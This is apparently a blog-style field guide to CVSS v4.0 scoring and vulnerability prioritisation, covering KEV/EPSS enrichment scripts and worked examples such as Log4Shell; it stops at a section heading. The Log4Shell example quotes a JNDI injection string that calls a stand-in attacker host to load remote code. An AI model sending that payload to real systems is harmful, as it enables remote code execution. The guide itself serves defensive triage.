CVSS v4.0: The Practical Field Guide for Vulnerability Management
quality 7/10 · good
0 net
CVSS v4.0: The Practical Field Guide for Vulnerability Management | by Andrey Pautov - Freedium
Milestone: 20GB Reached
We’ve reached 20GB of stored data — thank you for helping us grow!
Patreon
Ko-fi
Liberapay
Close
< Go to the original
CVSS v4.0: The Practical Field Guide for Vulnerability Management
From a number that nobody trusts to a tool that changes how you work
Andrey Pautov
Follow
~40 min read
·
March 24, 2026 (Updated: March 24, 2026)
·
Free: Yes
If you like this research, buy me a coffee (PayPal) — Keep the lab running
Table of Contents
Introduction: CVSS Is a Tool, Not a Score
What Changed in v4.0 — and Why It Matters
v3.1 vs v4.0: Side-by-Side with Real CVEs
Anatomy of a CVSS v4.0 Vector String
The Three Metric Groups Explained
The CVSS Lifecycle: CVSS-B → CVSS-BT → CVSS-BTE
Threat Metrics in Practice: KEV, EPSS, and Exploit Feeds
Environmental Metrics: Scoring for Your Environment
Worked Example 1: CVE-2021–44228 Log4Shell — Score Evolution Over 72 Hours
Worked Example 2: CVE-2025–32433 Erlang/OTP — From 10.0 to 5.9
Worked Example 3: Firmware Report — 18 Criticals Become Medium
Worked Example 4: CitrixBleed, MOVEit, FortiOS — Three Real-World Cases
Industry-Specific Scoring: Healthcare, Finance, OT/ICS
CVSS vs SSVC: When to Use Which
The Practical VM Workflow: From Scanner Output to Prioritized Action
CVSS v4.0 Enrichment Tool
CVSS as Regulatory Framework: The 5-Phase Maturity Model
Supplemental Metrics: The Overlooked Context Layer
The 8 Most Common CVSS Mistakes
Quick Reference Cheatsheet
Tools and Resources
Conclusion
Introduction: CVSS Is a Tool, Not a Score
Every security team has a vulnerability scanner. Every scanner produces a list with numbers. And almost every team treats those numbers as the truth — sorting by score descending, starting at 9.8, working down.
This is wrong. And CVSS v4.0 was designed to fix it.
The CVSS SIG (Special Interest Group), which maintains the standard at FIRST.org, makes this point explicitly in the Consumer Implementation Guide: the Base score is a worst-case estimate for an unmitigated system in a generic environment, produced by a vendor who has never seen your network . It is a starting point, not an answer.
The 3–5% Problem
According to CISA and multiple published threat intelligence studies, only 3–5% of published CVEs have a known, functional exploit at any given time . The Exploit Prediction Scoring System (EPSS), maintained by FIRST.org, corroborates this: the median EPSS score across all published CVEs hovers below 0.05 (5% probability of exploitation within 30 days).
Yet the default CVSS calculation assumes a mature, weaponized exploit exists for every vulnerability. This means every score you see in your scanner — before you apply Threat and Environmental metrics — is calculated under an assumption that is false for 95–97% of CVEs.
The Operational Consequence
Consider a mid-size organization's typical scanner output: Scanner report — typical enterprise environment:
Total CVEs: 847
Critical (9.0+): 94
High (7.0–8.9): 203
With Base scores only, approximate remediation timeline:
94 Critical × ~8 hours each = 752 analyst-hours
203 High × ~4 hours each = 812 analyst-hours
With Threat + Environmental enrichment (conservative estimate):
~5 true Critical (KEV or active exploit, exposed system): 40 hours
~22 true High (POC exists OR exposure without controls): 88 hours
Reduction: from ~1,564 analyst-hours to ~128 analyst-hours
- a 92% reduction in wasted effort
CVSS v4.0 provides the mechanism to achieve this reduction. This guide shows you exactly how.
What Changed in v4.0 — and Why It Matters
CVSS v4.0 was released on November 1, 2023. The changes are more significant than any previous version update — v4.0 is effectively a redesign of the impact and temporal models.
New Impact Model: Two Systems Instead of One
The biggest structural change: CVSS v4.0 separates impact into two systems:
Vulnerable System — the component directly compromised by the vulnerability (what the attacker hits first). Subsequent System — any system affected as a downstream consequence of exploiting the vulnerable system.
In v3.x, this distinction was handled through the vague "Scope" metric (Unchanged/Changed). In v4.0, it is explicit and granular: v3.1 impact metrics:
C (Confidentiality): None / Low / High
I (Integrity): None / Low / High
A (Availability): None / Low / High
S (Scope): Unchanged / Changed
v4.0 impact metrics:
VC (Vulnerable System Confidentiality): None / Low / High
VI (Vulnerable System Integrity): None / Low / High
VA (Vulnerable System Availability): None / Low / High
SC (Subsequent System Confidentiality): None / Low / High
SI (Subsequent System Integrity): None / Low / High
SA (Subsequent System Availability): None / Low / High
Why this matters operationally: In v3.x, if an SSH daemon vulnerability only affects the single server it runs on, you score it Scope:Unchanged. If it can propagate to a database behind it, Scope:Changed. These two scenarios produced different base scores, but there was no way to capture how much the subsequent system was affected. In v4.0, you can score a vulnerability that fully compromises the immediate system ( VC:H/VI:H/VA:H ) but has only partial downstream confidentiality impact ( SC:L/SI:N/SA:N ) — a much more precise description of real-world attack chains.
New Metric: Attack Requirements (AT)
v4.0 adds Attack Requirements (AT) alongside Attack Complexity (AC). These two metrics were previously collapsed into one:
Real-world example: CVE-2022–26134 (Confluence OGNL injection):
AC:L — exploitation is straightforward, no bypass required
AT:N — no special deployment preconditions; works against default installations
For AC:H / AT:N — a race condition where the attacker must actively win timing, but no special deployment condition is required:
CVE-2024–6387 (OpenSSH "regreSSHion") is a strong example. NVD describes it as a race condition in sshd that an unauthenticated remote attacker may trigger by failing authentication within a set time period. That maps well to AC:H because exploitation depends on hitting a narrow timing window, but AT:N because the race is part of the vulnerable code path itself, not dependent on a non-default deployment prerequisite.
Another reasonable example is CVE-2020–28049 (SDDM) . NVD states the issue is caused by a race condition during Xauthority file creation, where for a short time an unprivileged local user can connect to the X server before authentication is properly enforced. Again, that is naturally AC:H because the attacker must exploit a transient timing window, while AT:N fits because the weakness is intrinsic to the vulnerable startup behavior rather than requiring some extra deployment state.
For AC:L / AT:P — exploitation is easy once a particular non-default setup exists, but that setup is itself the precondition:
CVE-2025–24813 (Apache Tomcat) is a very clean example. Apache and NVD both state exploitation requires "writes enabled for the default servlet (disabled by default)" . Once that condition is present, the exploit path is not about winning a race or overcoming complex defensive mechanics; the main hurdle is that the vulnerable deployment configuration must exist. That makes it a good fit for AC:L and AT:P .
CVE-2021–45046 (Log4j 2.15.0) is another solid example. NVD explicitly says the issue appears only in certain non-default configurations , specifically when the logging configuration uses a non-default Pattern Layout with Context Lookup or Thread Context Map patterns. In CVSS v4 terms, that aligns with AT:P because the environment must be deployed in that specific way; once it is, the attacker's path is comparatively straightforward, so AC:L is the better fit than AC:H.
A third example is Tomcat CGI Servlet RCE on Windows from the Tomcat security page. Apache states the CGI Servlet is disabled by default and the issue is exposed when enableCmdLineArguments is enabled. That is another textbook AT:P case: the risky deployment state must be present first.
New Threat Metric: Exploit Maturity (E)
The old v3.x Temporal metric group is now the Threat metric group, containing a single metric: Exploit Maturity (E) . The old Remediation Level and Report Confidence metrics were removed.
The E:X trap: When a CVE is published with no Exploit Maturity specified — which is the default from NVD and most scanners — CVSS v4.0 calculates as if E:A . If you have 500 CVEs and never set Exploit Maturity, you are treating all 500 as actively exploited. Setting E:U for CVEs with no exploit evidence is not optimism — it is accuracy.
Cleaner Naming: CVSS-B, CVSS-BT, CVSS-BTE
v4.0 introduces formal nomenclature for the scoring lifecycle. This naming is important for compliance documentation and vendor communication:
Supplemental Metric Group (New)
A new optional group of metrics that provide context without affecting the score : Safety (S), Automatable (AU), Recovery (R), Value Density (V), Vulnerability Response Effort (RE), Provider Urgency (U). These allow vendors to communicate operational context that the numeric score cannot capture.
v3.1 vs v4.0: Side-by-Side with Real CVEs
Understanding the practical differences requires seeing the same vulnerability scored under both versions.
Example A: Log4Shell (CVE-2021–44228)
CVSS v3.1 vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Score: 10.0 Critical
CVSS v4.0 equivalent:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Score: 10.0 Critical
What changed: The "Scope:Changed" in v3.1 is now explicit as SC:H/SI:H/SA:H.
In v4.0, you can see exactly what the downstream impact is, not just that scope
"changed". Both scores are 10.0 - the difference is expressiveness.
Example B: PrintNightmare (CVE-2021–34527) — Where Scoring Complexity Matters
CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Score: 8.8 High
CVSS v4.0:
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Score: 9.8 Critical
Key difference: v4.0 scores the DOMAIN CONTROLLER scenario higher because
SC:H/SI:H/SA:H explicitly captures that compromising a domain-joined system
enables domain-level compromise (subsequent system impact).
In v3.1, Scope:Unchanged kept it at 8.8. In v4.0, if the subsequent system
(Active Directory) has high CIA impact, the score correctly reflects that
a low-privilege exploit can ultimately lead to domain domination.
Example C: A Local Privilege Escalation — Where v4.0 Scores Lower
Vulnerability: Local service running as SYSTEM, exploitable by authenticated user
No network access, no subsequent system impact.
CVSS v3.1:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Score: 7.8 High
CVSS v4.0:
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Score: 7.3 High
v4.0 is more accurate: SC:N/SI:N/SA:N explicitly states that no downstream
systems are affected. This is a pure local privilege escalation with no
lateral movement potential.
Key Scoring Differences Summary
Anatomy of a CVSS v4.0 Vector String
The vector string is the machine-readable representation of all CVSS metric choices. It is the authoritative record of a vulnerability's scoring.
Full v4.0 Vector String Format
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Breaking it down: CVSS:4.0 — version identifier (required prefix)
BASE METRICS (all 11 required - no omissions allowed):
AV:N - Attack Vector: Network (remotely exploitable)
AC:L - Attack Complexity: Low (straightforward)
AT:N - Attack Requirements: None (no preconditions)
PR:N - Privileges Required: None (unauthenticated)
UI:N - User Interaction: None (attacker acts alone)
VC:H - Vulnerable System Confidentiality: High (full disclosure)
VI:H - Vulnerable System Integrity: High (full modification)
VA:H - Vulnerable System Availability: High (full disruption)
SC:H - Subsequent System Confidentiality: High
SI:H - Subsequent System Integrity: High
SA:H - Subsequent System Availability: High
THREAT METRICS (optional - defaults to X which assumes A):
E:A - Exploit Maturity: Attacked (actively exploited)
ENVIRONMENTAL METRICS (optional - all default to X):
CR:X / IR:X / AR:X - Security Requirements (not defined = use vendor defaults)
MAV:A - Modified Attack Vector: Adjacent (overrides AV:N)
MAC:H - Modified Attack Complexity: High (compensating controls)
MAT:X - Modified Attack Requirements: Not Defined
MPR:X - Modified Privileges Required: Not Defined
MUI:X - Modified User Interaction: Not Defined
MVC:X / MVI:X / MVA:X - Modified Vulnerable System impact
MSC:X / MSI:X / MSA:X - Modified Subsequent System impact
SUPPLEMENTAL METRICS (optional - informational, no score effect):
S:X - Safety
AU:Y - Automatable: Yes
R:X - Recovery
V:X - Value Density
RE:X - Vulnerability Response Effort
U:X - Provider Urgency
Compact Form — Only Non-Default Values
In practice, only include metrics that differ from "Not Defined" (X). A fully enriched vector for an isolated internal system with POC exploit: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/MAV:A/MAC:H
The base metrics (all 11) are always required. Everything after that is optional and only included when set.
Parsing the Vector Programmatically
def parse_cvss_v4_vector(vector: str) -> dict:
"""Parse a CVSS v4.0 vector string into a dictionary."""
if not vector.startswith("CVSS:4.0/"):
raise ValueError("Not a CVSS v4.0 vector")
parts = vector[9:].split("/")
metrics = {}
for part in parts:
if ":" in part:
key, value = part.split(":", 1)
metrics[key] = value
return metrics
# Example usage:
vector = "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/MAV:A"
parsed = parse_cvss_v4_vector(vector)
# {'AV': 'N', 'AC': 'L', 'AT': 'N', 'PR': 'N', 'UI': 'N',
# 'VC': 'H', 'VI': 'H', 'VA': 'H', 'SC': 'H', 'SI': 'H', 'SA': 'H',
# 'E': 'P', 'MAV': 'A'}
exploit_maturity = parsed.get("E", "X") # X = Not Defined (defaults to A)
attack_vector = parsed.get("MAV", parsed.get("AV")) # Modified overrides Base
The Calculator
The FIRST.org calculator at https://www.first.org/cvss/calculator/4-0 provides a visual interface. As you make selections, the vector string updates in real-time. Use the vector string as the authoritative record; use the calculator as the working interface.
The Three Metric Groups Explained
Group 1: Base Metrics (Set by Vendor)
Base metrics describe the intrinsic properties of the vulnerability itself, independent of time and environment.
Exploitability Metrics — describe the attack path:
Impact Metrics — what happens after a successful exploit:
Score Ranges (v4.0):
Group 2: Threat Metrics (Consumer + Threat Intel)
Contains one metric: Exploit Maturity (E) .
The most impactful single adjustment available. Setting E:U for a CVE with no public exploit can drop a 10.0 Critical to a 6–7 Medium/High — moving it from a 3am emergency to a scheduled maintenance window.
Primary sources for Exploit Maturity determination:
CISA Known Exploited Vulnerabilities (KEV) Catalog
FIRST.org Exploit Prediction Scoring System (EPSS)
Metasploit Framework
Exploit Database (ExploitDB)
GitHub Public Repositories (Search for CVE IDs directly)
Commercial Threat Intelligence (TI): Consult Recorded Future, Mandiant, or GreyNoise directly.
Group 3: Environmental Metrics (Consumer + Local Knowledge)
Two sub-groups that let you encode what your security team knows about the actual deployment.
Security Requirements (CR/IR/AR) — how important is CIA for this specific asset: High-criticality production payment API:
CR:H / IR:H / AR:H → scores INCREASE relative to Base
(This system is more important to protect than the vendor assumed)
Development test server (no real data, not customer-facing):
CR:L / IR:L / AR:L → scores DECREASE relative to Base
(This system is less important than the vendor assumed)
Modified Base Metrics (MAV, MAC, MAT, MPR, MUI, MVC, MVI, MVA, MSC, MSI, MSA) — override specific Base values to reflect actual deployment conditions. When a Modified metric is set, it replaces the corresponding Base metric in the score calculation: Vendor assumed: AV:N (any internet attacker)
Your reality: MAV:A (system is behind a firewall, adjacent network only)
→ Score drops by ~1.5–2.5 points
Vendor assumed: AC:L (straightforward exploitation)
Your reality: MAC:H (attacker must first bypass your MFA + VPN)
→ Score drops further
The CVSS Lifecycle: CVSS-B → CVSS-BT → CVSS-BTE
FIRST.org describes CVSS v4.0 as a living score that matures as information becomes available. This lifecycle maps to organizational maturity and regulatory requirements. ┌────────────────────────────────────────────────────────────────-──┐
│ CVSS SCORING LIFECYCLE │
│ │
│ VENDOR PUBLISHES │
│ ┌─────────────┐ │
│ │ CVSS-B │ Base metrics only │
│ │ (Worst │ → Published in NVD, CVE records │
│ │ Case) │ → Generic, deployment-independent │
│ │ e.g. 9.8 │ → Produced by vendor/researcher │
│ └──────┬──────┘ │
│ │ Add Threat Intelligence (CISA KEV, EPSS, ExploitDB) │
│ ▼ │
│ ┌─────────────┐ │
│ │ CVSS-BT │ Base + Exploit Maturity │
│ │ (Current │ → "Is this being exploited right now?" │
│ │ Reality) │ → Uses CISA KEV, EPSS, Metasploit, ExploitDB │
│ │ e.g. 7.4 │ → Produced by consumer with threat intel │
│ └──────┬──────┘ │
│ │ Add Environmental Context (your network/data/controls) │
│ ▼ │
│ ┌─────────────┐ │
│ │ CVSS-BTE │ Base + Threat + Environment │
│ │ (Your │ → "How bad is this here, for us, today?" │
│ │ Reality) │ → Uses asset inventory, network topology, │
│ │ e.g. 4.2 │ compensating controls, CIA requirements │
│ └─────────────┘ → Produced by consumer security team │
│ │
│ DECISION: Patch/Mitigate timeline based on CVSS-BTE severity │
└─────────────────────────────────────────────────────────────────-─┘
Practical implementation path: You do not need to achieve CVSS-BTE overnight. Start with CVSS-B (vendor score from NVD). Add Threat metrics when you have a threat intel program (CVSS-BT). Add Environmental metrics as you build asset inventory and network documentation (CVSS-BTE). Each layer improves decision quality.
Threat Metrics in Practice: KEV, EPSS, and Exploit Feeds
CISA Known Exploited Vulnerabilities (KEV) Catalog
The KEV catalog is the gold standard for E:A determination. CISA adds a CVE only when it has confirmed, real-world exploitation evidence. As of March 2026, the catalog contains approximately 1,550+ CVEs — out of over 240,000 published CVEs in NVD. That is well under 1%. # Check KEV via API — works immediately, no registration needed
curl -s "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" \
| python3 -c "
import json, sys
data = json.load(sys.stdin)
cve_id = 'CVE-2021-44228'
match = [v for v in data['vulnerabilities'] if v['cveID'] == cve_id]
if match:
v = match[0]
print(f'IN KEV: {v[\"vulnerabilityName\"]}')
print(f'Due Date: {v[\"dueDate\"]}')
print(f'Required Action: {v[\"requiredAction\"]}')
else:
print('Not in KEV')
"
# Output for Log4Shell:
# IN KEV: Apache Log4j2 Remote Code Execution Vulnerability
# Due Date: 2021-12-24
# Required Action: Apply updates per vendor instructions.
Batch KEV check — Python with CSV output: import json, requests, csv, sys
from datetime import datetime
def load_kev() -> set:
"""Download and return the set of CVE IDs in CISA KEV."""
url = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
response = requests.get(url, timeout=30)
response.raise_for_status()
return {v["cveID"]: v for v in response.json()["vulnerabilities"]}
def load_epss(cve_ids: list) -> dict:
"""Fetch EPSS scores for a list of CVE IDs from FIRST.org API."""
base_url = "https://api.first.org/data/v1/epss"
scores = {}
# API accepts comma-separated CVE IDs, max ~30 per request
for i in range(0, len(cve_ids), 30):
batch = ",".join(cve_ids[i:i+30])
resp = requests.get(f"{base_url}?cve={batch}", timeout=30)
if resp.ok:
for item in resp.json().get("data", []):
scores[item["cve"]] = float(item["epss"])
return scores
def determine_exploit_maturity(cve_id: str, kev_data: dict, epss_scores: dict) -> str:
"""
Determine Exploit Maturity based on KEV and EPSS.
Returns the CVSS v4.0 E: value.
"""
if cve_id in kev_data:
return "E:A" # Confirmed active exploitation
epss = epss_scores.get(cve_id, 0.0)
if epss >= 0.5:
# EPSS ≥ 50% = high exploitation likelihood → strong POC signal
return "E:P"
elif epss >= 0.1:
# Moderate signal - verify against ExploitDB/Metasploit/GitHub
return "E:P"
else:
# Low EPSS, not in KEV - no exploitation evidence
return "E:U"
# Example: Enrich a list of CVEs from your scanner
cves_from_scanner = [
"CVE-2021-44228", # Log4Shell
"CVE-2023-4966", # CitrixBleed
"CVE-2023-34362", # MOVEit SQLi
"CVE-2024-21762", # FortiOS SSL VPN
"CVE-2025-32433", # Erlang/OTP SSH
]
kev = load_kev()
epss = load_epss(cves_from_scanner)
print(f"{'CVE':<20} {'KEV':>5} {'EPSS':>8} {'E Value':<10}")
print("-" * 50)
for cve in cves_from_scanner:
in_kev = "YES" if cve in kev else "NO"
epss_score = epss.get(cve, 0.0)
e_value = determine_exploit_maturity(cve, kev, epss)
print(f"{cve:<20} {in_kev:>5} {epss_score:>8.4f} {e_value:<10}")
EPSS — The Probabilistic Complement to CVSS
The Exploit Prediction Scoring System (EPSS) is a machine learning model maintained by FIRST.org that predicts the probability of a CVE being exploited in the wild within 30 days. It complements CVSS by answering a different question: not "how severe is the vulnerability?" but "how likely is it to be exploited soon?"
EPSS characteristics:
Score range: 0.0 to 1.0 (probability)
Updated daily
Uses ML trained on NVD data, Metasploit module availability, ExploitDB entries, active threat feeds
Free API: https://api.first.org/data/v1/epss?cve=CVE-XXXX-XXXXX
How to combine CVSS + EPSS for prioritization: Priority Matrix:
EPSS Low (<0.1) EPSS Medium (0.1-0.5) EPSS High (>0.5)
CVSS High/Critical → Schedule → Priority → Immediate
CVSS Medium → Backlog → Schedule → Priority
CVSS Low → Accept/Ignore → Backlog → Schedule
Real examples (approximate, as of early 2024):
CVE-2021-44228 (Log4Shell): CVSS 10.0, EPSS ~0.97 → Immediate
CVE-2023-4966 (CitrixBleed): CVSS 9.4, EPSS ~0.97 → Immediate
CVE-2021-34527 (PrintNightm): CVSS 8.8, EPSS ~0.96 → Immediate
CVE-2023-34362 (MOVEit): CVSS 9.8, EPSS ~0.96 → Immediate
Typical new CVE (no exploit): CVSS 7.5, EPSS ~0.002 → Schedule/Backlog
# Quick EPSS check for a CVE
curl -s "https://api.first.org/data/v1/epss?cve=CVE-2021-44228" \
| python3 -c "import json,sys; d=json.load(sys.stdin); print(d['data'][0])"
# {'cve': 'CVE-2021-44228', 'epss': '0.97530', 'percentile': '1.00000', 'date': ''}
# EPSS scores are updated daily - check the date field to confirm freshness
The Step-by-Step Threat Metric Determination Workflow
For each CVE in your scanner output:
Step 1: Check CISA KEV (30 seconds, fully automated)
→ IN KEV? → Set E:A, mark as highest priority
→ NOT IN KEV? → Continue to Step 2
Step 2: Check EPSS score
→ EPSS ≥ 0.5? → Strong exploitation likelihood → E:P at minimum
→ EPSS 0.1–0.5? → Moderate likelihood → E:P (verify against ExploitDB)
→ EPSS < 0.1? → Low likelihood → Continue to Step 3
Step 3: Check ExploitDB / Metasploit / GitHub
searchsploit CVE-XXXX-XXXXX
msfconsole -q -x "search cve:XXXX-XXXXX type:exploit; exit"
→ Module/exploit found? → E:P
→ Nothing found? → Continue to Step 4
Step 4: Default assignment
→ No KEV, no EPSS signal, no public exploit → E:U
Environmental Metrics: Scoring for Your Environment
The Core Principle
A vulnerability vendor scores a system as if it is:
Directly accessible from the internet (AV:N)
Running with no compensating controls
Processing your most sensitive data
Able to reach any system in your network
Your security team knows this is almost never true for any given system. Environmental metrics encode that knowledge as documented, auditable adjustments.
Practical Environmental Metric Decisions
Decision 1: Network Exposure Vendor scored: AV:N (reachable from anywhere on the internet)
Scenario A - Internet-facing server:
No change needed. AV:N reflects reality.
Scenario B - Internal VLAN, firewall-controlled:
MAV:A (Modified Attack Vector: Adjacent)
Documentation: "System resides on VLAN 10, firewall rule FW-2041 blocks
all inbound access from WAN. Last verified: [date], Change ticket: [ID]"
Score effect: -1.5 to -2.5 points typically
Scenario C - Jump host required, no direct network path:
MAV:L (Modified Attack Vector: Local)
Documentation: "SSH access only via jump-host JUMP-01, no direct routing
from any external zone. Network diagram: NDG-004"
Score effect: more significant reduction
Decision 2: Compensating Security Controls Vendor scored: AC:L (low complexity — straightforward exploitation)
Your reality: system access requires:
(1) VPN authentication with hardware MFA token
(2) Jump host with session recording
(3) IP allowlisting to specific bastion hosts
→ MAC:H (Modified Attack Complexity: High)
"Exploiting this in our environment requires bypassing enterprise VPN
(MFA-protected), jump host IP filtering, and session monitoring.
Policy reference: NET-POLICY-022"
Decision 3: Data Sensitivity Vendor scored: VC:H (high confidentiality impact — assumes worst-case data)
Scenario A - System processes PII, financial, or health data:
No change. VC:H is appropriate.
Consider setting CR:H to amplify the score.
Scenario B - System is a build server, processes only source code and
artifact hashes, no customer data:
MVC:L (Modified Vulnerable System Confidentiality: Low)
Documentation: "System data classification: Internal/Technical per
DLP-2023. No PII, financial, or regulated data categories."
Decision 4: Blast Radius (Subsequent System Impact) Vendor scored: SC:H/SI:H/SA:H (can affect downstream systems)
Your reality: this system has no outbound connections except to its
own read-only database. No service accounts with lateral movement
potential. Network segmentation enforced by firewall.
MSC:N / MSI:N / MSA:N
Documentation: "System [ID] network connections: inbound from [A,B],
outbound to [DB-READONLY] only. Firewall egress rules [FW-2201 through
FW-2203] block all other outbound. Network architecture diagram NDG-007."
Decision 5: Security Requirements — Adjusting for Asset Criticality
Security Requirements (CR/IR/AR) work differently from Modified Base metrics. Instead of overriding vendor assumptions, they adjust the score up or down based on how important CIA is for this asset in your organization: High-criticality asset (production customer database):
CR:H / IR:H / AR:H
→ Score increases above the environmental-adjusted Base
→ The same vulnerability is MORE severe here than the vendor assumed
Low-criticality asset (developer test environment):
CR:L / IR:L / AR:L
→ Score decreases below the environmental-adjusted Base
→ The same vulnerability is LESS severe here
Same vulnerability, CVE-2023-44487 (HTTP/2 Rapid Reset):
On production CDN edge: BTE = 8.9 High (AR:H - availability critical)
On dev test instance: BTE = 3.2 Low (AR:L - availability optional)
Environmental Adjustment Documentation Template
CVE: [CVE-XXXX-XXXXX]
Asset: [system name / ID]
Asset Classification: [Confidentiality: L/M/H] [Integrity: L/M/H] [Availability: L/M/H]
Base Vector (from NVD):
[CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H]
Base Score: [10.0 Critical]
Threat Enrichment:
E: [A/P/U] - Source: [CISA KEV / ExploitDB EDB-XXXXX / No evidence]
EPSS: [score] - Percentile: [XX]th
Environmental Adjustments:
[MAV:A] - [System on internal VLAN, not internet-accessible. Evidence: FW-RULE-XXXX]
[MAC:H] - [Access requires MFA VPN. Evidence: POLICY-NET-022]
[MSC:N/MSI:N/MSA:N] - [Isolated system, no lateral movement paths. Evidence: NDG-007]
BTE Vector:
[CVSS:4.0/.../E:P/MAV:A/MAC:H/MSC:N/MSI:N/MSA:N]
BTE Score: [5.9 Medium]
Approved by: [Name, Title]
Date: [YYYY-MM-DD]
Next Review: [YYYY-MM-DD or "on next change event"]
Change Ticket: [TICKET-ID]
Worked Example 1: CVE-2021–44228 Log4Shell — Score Evolution Over 72 Hours
Log4Shell is the canonical example of a 10.0 Critical vulnerability that genuinely deserved its score and its emergency response. It also illustrates why CVSS scores must be treated as dynamic, not static.
The Vulnerability
CVE-2021–44228 — Apache Log4j2 JNDI injection, disclosed December 9–10, 2021. Log4j2 is a ubiquitous Java logging library used in virtually every Java application stack. The vulnerability allowed unauthenticated remote code execution by logging a specially crafted string like ${jndi:ldap://attacker.com/exploit} . Base Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Reading the vector:
AV:N - Any internet attacker can reach Log4j (it processes log input from requests)
AC:L - One malicious string in any logged field (User-Agent, username, etc.)
AT:N - No special deployment conditions; Log4j's default config enables JNDI lookup
PR:N - Unauthenticated; the string is logged before any auth check
UI:N - No user interaction
VC:H - Full compromise of the JVM process (RCE)
VI:H - Arbitrary code execution = arbitrary data modification
VA:H - Process crash or disruption possible
SC:H - Applications run with broad permissions; lateral movement to databases,
APIs, secrets vaults is documented in nearly every case study
SI:H - Downstream integrity compromise confirmed in attacks
SA:H - Downstream availability impact confirmed
Base Score: 10.0 Critical
Hour 0: Disclosure (December 9, 2021)
CVSS-B: 10.0 Critical (vendor-published score)
E: X (Not Defined) — no public exploit yet at moment of NVD publication
Security team action with default (E:X):
Scanner shows 10.0 - emergency response initiated
This is CORRECT. E:X defaults to E:A, and JNDI proof-of-concept
was already circulating in private channels at disclosure.
Hour 12–24: PoC Goes Public
By December 10–11, multiple working proof-of-concept exploits appeared on GitHub. Mass scanning for vulnerable Log4j endpoints began within hours. Threat update: E:P (POC publicly available)
EPSS: immediately climbs toward 0.90+
CVSS-BT: still 10.0 Critical (E:P keeps score near maximum)
What changed operationally: The window for "orderly patching" closed.
Evidence of active scanning meant any vulnerable internet-facing system
was being actively probed.
Hour 48–72: Mass Exploitation — Botnets, Ransomware, State Actors
By December 11–13, CISA confirmed active exploitation. The KEV catalog entry was published with a remediation due date of December 24, 2021 (for federal agencies). NSA, GCHQ, and CISA issued joint advisories. Threat actors confirmed exploiting Log4Shell included Conti ransomware affiliates, Iranian state actors (APT35/Charming Kitten), Chinese state actors, and multiple criminal groups. Threat update: E:A (actively exploited — CISA KEV confirmed)
CVSS-BT: 10.0 Critical (E:A maximum)
Any environmental adjustment to MAV or MAC must be verified:
"Is this system actually isolated from the internet?"
→ Internet-facing: 10.0 - immediate patch, no exceptions
→ Internal, no JNDI enabled: consider E:P + MAV:A → ~7.4 High
→ Internal, JNDI disabled in Log4j config: document mitigation as
compensating control; MAT:P or MAC:H may apply
Note: CVE-2021-45046 (bypass for initial mitigations) and
CVE-2021-45105 (DoS) were published within days, complicating patching.
Final Score Comparison: Same CVE, Different Contexts
Key lesson: Even for a genuine 10.0 emergency, environmental context changes the response mechanism even when it cannot reduce the overall priority. An internet-facing production server and an internal test instance require different actions, documented by CVSS-BTE.
Worked Example 2: CVE-2025–32433 Erlang/OTP SSH — From 10.0 to 5.9
CVE-2025–32433 is an unauthenticated pre-auth RCE in Erlang/OTP's SSH server. Base score 10.0. This example demonstrates how environmental context appropriately reduces emergency response to scheduled patching.
Step 0: The Base Score (NVD Published)
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Score: 10.0 Critical
Reading the vector:
AV:N - SSH is exposed (vendor assumes internet-facing, worst case)
AC:L - Exploitation is straightforward once you reach the SSH port
AT:N - No special configuration required; default OTP SSH setup is vulnerable
PR:N - Pre-authentication RCE - no credentials needed
UI:N - No user interaction required
VC:H - Full code execution on the Erlang/OTP process
VI:H - Attacker can write files, modify state
VA:H - Can crash or kill the OTP application
SC:H - Erlang applications often manage distributed systems; lateral pivot possible
SI:H, SA:H - Downstream system compromise possible
Step 1: Modify Attack Vector — Is SSH Actually Exposed?
Question: Is this Erlang/OTP SSH service accessible from the internet?
Scenario A - Internet-facing (load balancer → Erlang cluster):
No change. AV:N is accurate. Score: 10.0.
This is a genuine emergency. Patch or firewall the port immediately.
Scenario B - Internal cluster, accessible from corporate network only:
MAV:A (Modified Attack Vector: Adjacent)
Evidence: Firewall rule FW-1042, network topology confirms no external routing.
Updated vector: CVSS:4.0/.../MAV:A
Updated score: 9.4 Critical
Still Critical - but attacker must have already penetrated your perimeter.
Different threat model.
Step 2: Add Attack Complexity — Compensating Controls
In many corporate deployments, SSH access also requires:
- VPN connection with hardware token MFA
- Jump host (bastion server) with session recording
- IP allowlist restricting to specific admin hosts
→ MAC:H (Modified Attack Complexity: High)
Updated vector: CVSS:4.0/.../MAV:A/MAC:H
Updated score: 8.7 High
Now in High tier - 30-day SLA instead of a 24–72 hour emergency response.
Step 3: Add Threat Intelligence
Checking sources (as of initial disclosure):CISA KEV: Not listed (at time of initial disclosure)
EPSS: ~0.04 initially (low exploitation probability, no weaponized exploit yet)
ExploitDB: No entry yet
GitHub: POC repositories appeared within days of disclosure (search CVE-2025-32433)
→ E:P (Proof of Concept exists, not yet actively exploited in wild)
Updated vector: CVSS:4.0/.../E:P/MAV:A/MAC:H
Updated score: 7.4 High
If KEV entry appears: immediately reclassify to E:A → score rises back toward 9.0
Step 4: Assess Subsequent System Impact
